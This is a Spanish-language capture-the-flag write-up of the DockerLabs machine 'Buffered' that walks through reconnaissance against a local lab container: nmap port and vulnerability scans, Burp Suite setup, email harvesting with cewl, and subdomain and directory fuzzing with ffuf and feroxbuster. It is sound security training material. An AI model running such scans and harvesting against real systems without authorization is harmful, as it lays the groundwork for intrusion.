> For the complete documentation index, see [llms.txt](https://novahacking.gitbook.io/anonymous17/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://novahacking.gitbook.io/anonymous17/ctf/dockerlabs/buffered.md).

# Buffered

<details>

<summary>Datos</summary>

* Máquina -> Buffered
* Dificultad -> Difícil
* Creador -> [rxffsec](https://rxffsec.github.io/)

</details>

{% hint style="info" %}
Nota: Este CTF sera un ejemplo de mi metodología en el reconocimiento inicial de un pentesting.
{% endhint %}

## <mark style="color:green;">Enumeración de servicio</mark>

Lo primero que siempre debemos hacer antes de iniciar los escaneos o pruebas de vulnerabilidades, es verificar conectividad con la maquina victima, por ejemplo usando el comando `ping` de la siguiente manera.

```bash
❯ ping -c 1 172.17.0.2 -R
PING 172.17.0.2 (172.17.0.2) 56(124) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.122 ms
RR: 	172.17.0.1
	172.17.0.2
	172.17.0.2
	172.17.0.1

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.122/0.122/0.122/0.000 ms
```

Como vemos, ningún paquete se perdió, así que tenemos conectividad con el servidor, mediante el TTL podemos darnos una idea a lo que nos enfrentamos, en este caso es un TTL de 64 por lo cual podemos pensar en un linux, el TTL puede ser modificado, pero generalmente siempre esta en un rango donde de 128 a 65 es Windows y de 64 a 1 es Linux, después de saber que tenemos conectividad con la maquina, yo hago un escaneo primario con mi script de python de los 1000 puertos mas famosos, luego escaneo los 65535 puertos existentes, primero por TCP y luego por UDP en caso de no encontrar nada interesante, antes que nada para tener todo bien organizado, tengo una función en la bash que es `mkt` el cual me crea mis carpetas de trabajo de la siguiente manera.

```js
❯ which mkt | bat -l bash
──────┬──────────────────────────────────────────────────────────────────────
      │ STDIN
──────┼──────────────────────────────────────────────────────────────────────
   1  │ mkt () {
   2  │     mkdir -p recognition/{fuzzing,nmap} exploits/{exploitDB,GitHub} content
   3  │ }
──────┴───────────────────────────────────────────────────────────────────────
❯ mkt
❯ tree
.
├── content
├── exploits
│   ├── exploitDB
│   └── GitHub
└── recognition
    ├── fuzzing
    └── nmap

7 directories
```

El cual me crea 7 directorios los cuales me ayudan a tener un orden, dentro de `recognition` lo que are es el escaneo primario con el siguiente comando.

```python
PortScanner -i 172.17.0.2 -t 1000 -s 2 -a V C -o recognition.txt
```

**Resultado**

```js
[+] Autor: Anonymous17
[+] Targeted: 172.17.0.2
[+] (TTL -> 64): Linux
[!] Escaneo de puertos (socket):

  [!] Puerto 80 abierto!
  [+] Port: 1000 / 1000 

[+] Lista de puertos abiertos: [80]
[+] Información de servicios y versiones:

  [+] 80/tcp    http      nginx 1.24.0 (Ubuntu)

[+] Comprobando vulnerabilidades:

  [+] Tecnologías detectadas en HTTP:

        http://172.17.0.2:80 [301 Moved Permanently] Country[RESERVED][ZZ],
        HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)],
        IP[172.17.0.2],
        RedirectLocation[http://buffered.dl/],
        Title[301 Moved Permanently],
        nginx[1.24.0],

[*] Evidencia guardada en recognition.txt
```

Con este escaneo puedo ver algunas cosas interesantes como la redirección de la ip a `buffered.dl` y es muy interesante que solo el puerto **80** este abierto, lo siguiente que are es agregar la ip y la URL en el `/etc/hosts` para que mi maquina pueda resolver el dominio.

```bash
❯ v /etc/hosts
❯ bat /etc/hosts
───────┬──────────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼──────────────────────────────────────────────────────────────────────
   1   │ # Host addresses
   2   │ 127.0.0.1  localhost
   3   │ 127.0.1.1  parrot
   4   │ 
   5   │ ::1        localhost ip6-localhost ip6-loopback
   6   │ ff02::1    ip6-allnodes
   7   │ ff02::2    ip6-allrouters
   8   │ 
   9   │ # Others
  10   │ 172.17.0.2  buffered.dl
───────┴──────────────────────────────────────────────────────────────────────
```

Quedaría de esta manera, si quisiera escanear los **65535** puertos tendría que usar nmap de la siguiente manera.

```python
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts.txt
```

**Resultado**

```js
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:17 EST
Initiating ARP Ping Scan at 11:17
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 11:17, 0.05s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:17
Scanning 172.17.0.2 [65535 ports]
Discovered open port 80/tcp on 172.17.0.2
SYN Stealth Scan Timing: About 50.03% done; ETC: 11:20 (0:01:15 remaining)
Completed SYN Stealth Scan at 11:21, 212.31s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up, received arp-response (0.35s latency).
Scanned at 2024-10-25 11:17:49 EST for 212s
Not shown: 52680 filtered tcp ports (no-response), 12854 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 212.50 seconds
           Raw packets sent: 124579 (5.481MB) | Rcvd: 12858 (514.320KB)
```

El archivo grepeable guardado quedaría así:

```python
❯ bat allPorts.txt -l java
───────┬───────────────────────────────────────────────────────────────────────
       │ File: allPorts.txt
───────┼───────────────────────────────────────────────────────────────────────
   1   │ # Nmap 7.94SVN scan initiated Fri Oct 25 11:17:49 2024 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG allPorts.txt 172.17.0.2
   2   │ # Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
   3   │ Host: 172.17.0.2 () Status: Up
   4   │ Host: 172.17.0.2 () Ports: 80/open/tcp//http///
   5   │ # Nmap done at Fri Oct 25 11:21:22 2024 -- 1 IP address (1 host up) scanned in 212.50 seconds
───────┴───────────────────────────────────────────────────────────────────────
```

Podemos usar la función de `s4vitar` para extraer la información más relevante, es otra función de bash.

```bash
❯ which extractPorts | bat -l bash
───────┬──────────────────────────────────────────────────────────────────────
       │ STDIN
───────┼──────────────────────────────────────────────────────────────────────
   1   │ extractPorts () {
   2   │     ports="$(cat $1 | grep -oP '\d{1,5}/open' | awk '{print $1}' FS='/' | xargs | tr ' ' ',')" 
   3   │     ip_address="$(cat $1 | grep -oP '\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}' | sort -u | head -n 1)" 
   4   │     echo -e "\n[*] Extracting information...\n" > extractPorts.tmp
   5   │     echo -e "\t[*] IP Address: $ip_address" >> extractPorts.tmp
   6   │     echo -e "\t[*] Open ports: $ports\n" >> extractPorts.tmp
   7   │     echo $ports | tr -d '\n' | xclip -sel clip
   8   │     echo -e "[*] Ports copied to clipboard\n" >> extractPorts.tmp
   9   │     batcat extractPorts.tmp -l java
  10   │     rm extractPorts.tmp
  11   │ }
───────┴──────────────────────────────────────────────────────────────────────
```

Nos daría algo así:

```python
❯ extractPorts allPorts.txt
───────┬──────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼──────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 172.17.0.2
   5   │     [*] Open ports: 80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴──────────────────────────────────────────────────────────────────────
```

En caso de haber muchos puertos abiertos, esta función nos copia los puertos para agilizar trabajo, ahora si procedamos a ver ese puerto 80 con nmap.

```python
nmap -sCV -p 80 172.17.0.2 -oN targeted.txt
```

**Resultado**

```js
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:27 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.00042s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Buffered
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.76 seconds
```

Vemos que la pagina usa `nginx` y también podemos ver el titulo de la pagina, podemos hacer otro escaneo un poco más agresivo de la siguiente manera.

> <mark style="color:purple;">Recordatorio</mark>:
>
> Si el puerto abierto en ves de ser el 80 hubiera sido el 443 podríamos usar `openssl s_client` en modo cliente para ver informacion importante como redirecciones, etc.
>
> <mark style="color:yellow;">Ejemplo</mark>: `openssl s_client -connect <IP>:443`

```python
nmap -A --script http-headers 172.17.0.2 -oX xml -oN targeted_A.txt
```

**Resultado**

```js
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:39 EST
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.063s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
| http-headers: 
|   Server: nginx/1.24.0 (Ubuntu)
|   Date: Fri, 25 Oct 2024 16:39:43 GMT
|   Content-Type: text/html
|   Content-Length: 36718
|   Last-Modified: Sat, 03 Aug 2024 03:11:45 GMT
|   Connection: close
|   ETag: "66ad9ff1-8f6e"
|   Accept-Ranges: bytes
|   
|_  (Request type: HEAD)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   63.42 ms buffered.dl (172.17.0.2)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.65 seconds
```

Podemos ver un poco más de información sobre el servidor, tambien exportamos el resultado en un `xml` la forma de darle tratamiento para verlo en la web seria.

```bash
❯ xsltproc xml > index.html
❯ rm xml
❯ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
```

Si vamos a la web veríamos lo siguiente en el **localhost**.

<figure><img src="/files/BLULGIA1VGDYXfVj8Nt5" alt=""><figcaption></figcaption></figure>

Ahora tiremos algunos scripts mas agresivos de `nmap`.

```python
nmap -p 80 --script vuln 172.17.0.2 -oN webScan.txt
```

**Resultado**

```js
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 11:49 EST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for buffered.dl (172.17.0.2)
Host is up (0.00047s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=buffered.dl
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://buffered.dl:80/
|     Form id: 
|     Form action: forms/contact.php
|     
|     Path: http://buffered.dl:80/
|     Form id: 
|     Form action: forms/newsletter.php
|     
|     Path: http://buffered.dl:80/index.html
|     Form id: 
|     Form action: forms/contact.php
|     
|     Path: http://buffered.dl:80/index.html
|     Form id: 
|     Form action: forms/newsletter.php
|     
|     Path: http://buffered.dl:80/portfolio-details.html
|     Form id: 
|_    Form action: forms/newsletter.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-vuln-cve2011-3192: 
|   VULNERABLE:
|   Apache byterange filter DoS
|     State: VULNERABLE
|     IDs:  BID:49303  CVE:CVE-2011-3192
|       The Apache web server is vulnerable to a denial of service attack when numerous
|       overlapping byte ranges are requested.
|     Disclosure date: 2011-08-19
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3192
|       https://www.tenable.com/plugins/nessus/55976
|       https://www.securityfocus.com/bid/49303
|_      https://seclists.org/fulldisclosure/2011/Aug/175
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 02:42:AC:11:00:02 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 102.84 seconds
```

Vemos mucha información importante, por ejemplo `nmap` nos dice que el servidor es vulnerable a **CSRF** y nos da un pequeño fuzzing del contenido en el servidor que veremos mas adelante, también nos da un **CVE** que pertenece a un **DoS**, que si estuviéramos haciendo un informe, son cosas muy importante que debemos poner.

## <mark style="color:green;">Enumeración por Fuzzing</mark>

Ahora toca el reconocimiento por `Fuzzing` pero antes que nada vamos a crear un proyecto en **Burp Suite** para llevar un registro de todo lo que hagamos, después de abrir **Burp Suite** iremos a **Target** y en **Scope** agregaremos el dominio en el que vamos a trabajar, quedaría de la siguiente manera, también agregamos la casilla de incluir subdominios.

<figure><img src="/files/O8kpLo96hzD1CGEpxQBx" alt=""><figcaption></figcaption></figure>

Podemos ir a nuestro explorador para ver la pagina web.

<figure><img src="/files/1nE6qmnmh7JeyyO5ZOeb" alt=""><figcaption></figcaption></figure>

Podemos ver el **Wappalyzer** para ver las tecnologías que usa esta pagina web.

<figure><img src="/files/cSTqDxyCnDr58qs5gjfk" alt=""><figcaption></figcaption></figure>

Podríamos buscar vulnerabilidades en las versiones de estas tecnologías pero en este caso no lo aremos, así que procedemos a ver el **Site map** de **Burp Suite**.

<figure><img src="/files/ebzKLHsmrmRJznJ0l9dX" alt=""><figcaption></figcaption></figure>

Vemos que se va llenando de información referente a la pagina web y solo sobre el dominio que pusimos en el **Scope**, enumerando la pagina web veo usuarios con sus correos electrónicos, para extraer todos los correos electrónicos de la pagina web, podemos usar `cewl` de la siguiente manera.

<figure><img src="/files/SHAb7T1VbOKpO2EoXj4m" alt=""><figcaption></figcaption></figure>

Usando `Cewl`.

```python
cewl --email http://buffered.dl/ | grep -E "Email addresses found|---|@"
```

**Resultado**

```js
getoptlong was loaded from the standard library, but will no longer be part of the default gems starting from Ruby 3.4.0.
You can add getoptlong to your Gemfile or gemspec to silence this warning.
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Email addresses found
---------------------
christine@buffered.dl
contact@example.com
info@buffered.dl
info@example.com
support@buffered.dl
tyler@buffered.dl
wilson@buffered.dl
```

Lo que nos interesa es eso ultimo, lo podemos agregar a un archivo llamado `correos.txt`, también podemos guardar los nombres de los usuarios en un archivo `usuarios.txt`, quedaría de la siguiente manera.

```python
❯ v usuarios.txt
❯ bat usuarios.txt
───────┬─────────────────────────────────────────────────────
       │ File: usuarios.txt
───────┼─────────────────────────────────────────────────────
   1   │ Tyler Miller
   2   │ Christine Ross
   3   │ Wilson Winters
───────┴─────────────────────────────────────────────────────
❯ bat correos.txt
───────┬─────────────────────────────────────────────────────
       │ File: correos.txt
───────┼─────────────────────────────────────────────────────
   1   │ Email addresses found
   2   │ ---------------------
   3   │ christine@buffered.dl
   4   │ contact@example.com
   5   │ info@buffered.dl
   6   │ info@example.com
   7   │ support@buffered.dl
   8   │ tyler@buffered.dl
   9   │ wilson@buffered.dl
───────┬─────────────────────────────────────────────────────
```

Ahora veo el código fuente para ver si hay algo relevante pero no hay nada, así que procedamos con el `Fuzzing` pero de subdominios primero, la herramienta que generalmente uso para esto es `FFuf` veamos como podríamos enumerar subdominios con esta herramienta.

```python
❯ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H "Host: FUZZ.buffered.dl"

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://buffered.dl
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.buffered.dl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

localhost               [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 0ms]
pop                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 0ms]
ftp                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 27ms]
www                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 30ms]
webmail                 [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 41ms]
ns4                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 22ms]
smtp                    [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 18ms]
webdisk                 [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 32ms]
imap                    [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 14ms]
blog                    [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 29ms]
mail2                   [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 26ms]
ns3                     [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 30ms]
m                       [Status: 200, Size: 36718, Words: 9298, Lines: 816, Duration: 34ms]
```

Como vemos nos da muchos falsos positivos que podemos filtrar, en este caso usare `-fs` para filtrar por el tamaño de la respuesta ya que veo que la gran mayoría arroja **36718**.

```python
❯ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H "Host: FUZZ.buffered.dl" -fs 36718

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://buffered.dl
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.buffered.dl
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 36718
________________________________________________

dashboard               [Status: 200, Size: 5666, Words: 1744, Lines: 129, Duration: 100ms]
:: Progress: [4989/4989] :: Job [1/1] :: 1428 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
```

Veo que encontró algo útil y posiblemente el vector de entrada, el subdominio es `dashboard` antes que nada debemos agregar esto al `/etc/hosts`, quedaría así.

```python
❯ bat /etc/hosts
───────┬─────────────────────────────────────────────────────────────────
       │ File: /etc/hosts
───────┼─────────────────────────────────────────────────────────────────
   1   │ # Host addresses
   2   │ 127.0.0.1  localhost
   3   │ 127.0.1.1  parrot
   4   │ 
   5   │ ::1        localhost ip6-localhost ip6-loopback
   6   │ ff02::1    ip6-allnodes
   7   │ ff02::2    ip6-allrouters
   8   │ 
   9   │ # Others
  10   │ 172.17.0.2  buffered.dl dashboard.buffered.dl
───────┴────────────────────────────────────────────────────────────────
```

Ahora en una auditoria podríamos hacer lo siguiente, al ejecutar `FFuf` para buscar subdominios guardar el resultado con la opción `-o` esto guardara la informacion en un `json` el cual le daremos un pequeño tratamiento para verlo mejor y aprovecharlo al máximo.

Podemos poner `-o FFuf_subdominios.json` y el resultado seria el siguiente.

```json
❯ cat FFuf_subdominios.json | jq
{
  "commandline": "ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H Host: FUZZ.buffered.dl -fs 36718 -o FFuf_subdominios.json",
  "time": "2024-10-25T14:04:43-05:00",
  "results": [
    {
      "input": {
        "FFUFHASH": "faacf204",
        "FUZZ": "dashboard"
      },
      "position": 516,
      "status": 200,
      "length": 5666,
      "words": 1744,
      "lines": 129,
      "content-type": "text/html; charset=utf-8",
      "redirectlocation": "",
      "scraper": {},
      "duration": 126635898,
      "resultfile": "",
      "url": "http://buffered.dl",
      "host": "dashboard.buffered.dl"
    }
  ],
  "config": {
    "autocalibration": false,
    "autocalibration_keyword": "FUZZ",
    "autocalibration_perhost": false,
    "autocalibration_strategies": [
      "basic"
    ],
    "autocalibration_strings": [],
    "colors": true,
    "cmdline": "ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://buffered.dl -H Host: FUZZ.buffered.dl -fs 36718 -o FFuf_subdominios.json",
    "configfile": "",
    "postdata": "",
    "debuglog": "",
    "delay": {
      "value": "0.00"
    },
    "dirsearch_compatibility": false,
    "encoders": [],
    "extensions": [],
    "fmode": "or",
    "follow_redirects": false,
    "headers": {
      "Host": "FUZZ.buffered.dl"
    },
    "ignorebody": false,
    "ignore_wordlist_comments": false,
    "inputmode": "clusterbomb",
    "cmd_inputnum": 100,
    "inputproviders": [
      {
        "name": "wordlist",
        "keyword": "FUZZ",
        "value": "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt",
        "encoders": "",
        "template": ""
      }
    ],
    "inputshell": "",
    "json": false,
    "matchers": {
      "IsCalibrated": false,
      "Mutex": {},
      "Matchers": {
        "status": {
          "value": "200-299,301,302,307,401,403,405,500"
        }
      },
      "Filters": {
        "size": {
          "value": "36718"
        }
      },
      "PerDomainFilters": {}
    },
    "mmode": "or",
    "maxtime": 0,
    "maxtime_job": 0,
    "method": "GET",
    "noninteractive": false,
    "outputdirectory": "",
    "outputfile": "FFuf_subdominios.json",
    "outputformat": "json",
    "OutputSkipEmptyFile": false,
    "proxyurl": "",
    "quiet": false,
    "rate": 0,
    "raw": false,
    "recursion": false,
    "recursion_depth": 0,
    "recursion_strategy": "default",
    "replayproxyurl": "",
    "requestfile": "",
    "requestproto": "https",
    "scraperfile": "",
    "scrapers": "all",
    "sni": "",
    "stop_403": false,
    "stop_all": false,
    "stop_errors": false,
    "threads": 40,
    "timeout": 10,
    "url": "http://buffered.dl",
    "verbose": false,
    "wordlists": [
      "/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt"
    ],
    "http2": false,
    "client-cert": "",
    "client-key": ""
  }
}
```

Tenemos diferentes clave valor, lo que aremos es filtrarlos de la siguiente manera.

```bash
❯ cat FFuf_subdominios.json | jq -r '.results[].host'
dashboard.buffered.dl
```

Esto nos dará los subdominios que encontró, en este caso solo uno, ahora esto lo podríamos agregar al `/etc/host` que ya lo hicimos y tambien en un **txt** de los subdominios, ejemplo.

```bash
❯ bat subdominios.txt
───────┬─────────────────────────────────────────────────────────────────
       │ File: subdominios.txt
───────┼─────────────────────────────────────────────────────────────────
   1   │ buffered.dl
   2   │ dashboard.buffered.dl
───────┴─────────────────────────────────────────────────────────────────
```

Ahora teniendo estos subdominios podemos ver en la web el subdominio `dashboard`.

<figure><img src="/files/pBy2h1qNoWXwsOm8BNMN" alt=""><figcaption></figcaption></figure>

Vemos que en el **Site map** se registra correctamente lo que hacemos y la web seria la siguiente.

<figure><img src="/files/KzxlLZunuK4HblM5UcUf" alt=""><figcaption></figcaption></figure>

Aquí ya vamos viendo algunos campos que podríamos vulnerar, pero sigamos haciendo reconocimiento, lo siguiente que haremos es `Fuzzing` de directorios, en este caso usaremos `Feroxbuster` lo ejecutaremos de la siguiente manera.

> Nota:
>
> En entornos reales una wordlist que da mejores resultados seria `raft-medium-directories.txt` tambien tiene un `large` y `small`.

```python
feroxbuster -u http://buffered.dl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --burp-replay -o Ferox_directorios.txt
```

**Resultado**

```js
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://buffered.dl
 🚀  Threads               │ 100
 📖  Wordlist              │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🎥  Replay Proxy          │ http://127.0.0.1:8080
 📼  Replay Proxy Codes    │ [100, 101, 102, 200, 201, 202, 203, 204, 205, 206, 207, 208, 226, 300, 301, 302, 303, 304, 305, 307, 308, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 421, 422, 423, 424, 426, 428, 429, 431, 451, 500, 501, 502, 503, 504, 505, 506, 507, 508, 510, 511, 103, 425]
 🔎  Extract Links         │ true
 💾  Output File           │ Ferox_directorios.txt
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       20l      126w     9599c http://buffered.dl/assets/img/clients/client-7.png
200      GET       63l      721w    43571c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-1.jpg
200      GET      120l      618w    52670c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-8.jpg
200      GET       27l      117w     8294c http://buffered.dl/assets/img/clients/client-3.png
200      GET       41l      215w    16023c http://buffered.dl/assets/img/clients/client-8.png
200      GET       19l       97w     6012c http://buffered.dl/assets/img/logo.png
200      GET        1l      273w    28765c http://buffered.dl/assets/vendor/aos/aos.css
200      GET      179l      494w    31077c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-4.jpg
200      GET       32l      199w     9277c http://buffered.dl/assets/img/clients/client-1.png
200      GET       13l      182w    18431c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.css
200      GET        1l      268w    13800c http://buffered.dl/assets/vendor/aos/aos.js
200      GET      336l      711w    38530c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-9.jpg
200      GET       12l      119w     5485c http://buffered.dl/assets/vendor/imagesloaded/imagesloaded.pkgd.min.js
200      GET       85l      210w     2734c http://buffered.dl/assets/vendor/php-email-form/validate.js
200      GET     1578l     8338w   640477c http://buffered.dl/assets/img/cta-bg.jpg
301      GET        7l       12w      178c http://buffered.dl/assets => http://buffered.dl/assets/
200      GET       21l      128w     8850c http://buffered.dl/assets/img/clients/client-5.png
403      GET        7l       10w      162c http://buffered.dl/forms/
200      GET       29l      129w     7722c http://buffered.dl/assets/img/clients/client-2.png
200      GET       41l      146w     1341c http://buffered.dl/forms/contact.php
200      GET        1l      233w    13749c http://buffered.dl/assets/vendor/glightbox/css/glightbox.min.css
200      GET       20l      118w     5770c http://buffered.dl/assets/img/clients/client-6.png
200      GET      282l      749w    11510c http://buffered.dl/portfolio-details.html
200      GET      815l     2531w    36718c http://buffered.dl/index.html
200      GET       12l      557w    35445c http://buffered.dl/assets/vendor/isotope-layout/isotope.pkgd.min.js
200      GET      201l      526w    37370c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-5.jpg
200      GET      411l     2152w   174108c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-7.jpg
200      GET      342l     1607w   148241c http://buffered.dl/assets/img/team/1.jpg
200      GET      379l     2336w   211593c http://buffered.dl/assets/img/about.jpg
200      GET      204l      445w     5979c http://buffered.dl/assets/js/main.js
200      GET      117l      426w    33265c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-3.jpg
200      GET       39l      142w     1250c http://buffered.dl/forms/newsletter.php
200      GET        9l       31w     2057c http://buffered.dl/assets/img/favicon.png
200      GET       14l     1729w   150447c http://buffered.dl/assets/vendor/swiper/swiper-bundle.min.js
200      GET        6l     2222w   232803c http://buffered.dl/assets/vendor/bootstrap/css/bootstrap.min.css
200      GET       48l      249w    20527c http://buffered.dl/assets/img/team/2.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/img/team/
200      GET      101l      496w    39166c http://buffered.dl/assets/img/team/3.jpg
301      GET        7l       12w      178c http://buffered.dl/forms => http://buffered.dl/forms/
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/
200      GET      690l     3708w   262900c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-2.jpg
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap/
200      GET       63l      248w    13619c http://buffered.dl/assets/img/apple-touch-icon.png
403      GET        7l       10w      162c http://buffered.dl/assets/img/masonry-portfolio/
200      GET      147l      531w    38450c http://buffered.dl/assets/img/masonry-portfolio/masonry-portfolio-6.jpg
200      GET       30l      118w     7817c http://buffered.dl/assets/img/clients/client-4.png
200      GET     1708l     3865w    37583c http://buffered.dl/assets/css/main.css
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/php-email-form/
403      GET        7l       10w      162c http://buffered.dl/assets/img/clients/
403      GET        7l       10w      162c http://buffered.dl/assets/css/
200      GET        1l      637w    56300c http://buffered.dl/assets/vendor/glightbox/js/glightbox.min.js
403      GET        7l       10w      162c http://buffered.dl/assets/vendor/bootstrap-icons/
200      GET     2078l    10308w    98255c http://buffered.dl/assets/vendor/bootstrap-icons/bootstrap-icons.css
200      GET        7l     1207w    80721c http://buffered.dl/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200      GET      852l     6298w   495857c http://buffered.dl/assets/img/hero-bg.jpg
200      GET      815l     2531w    36718c http://buffered.dl/
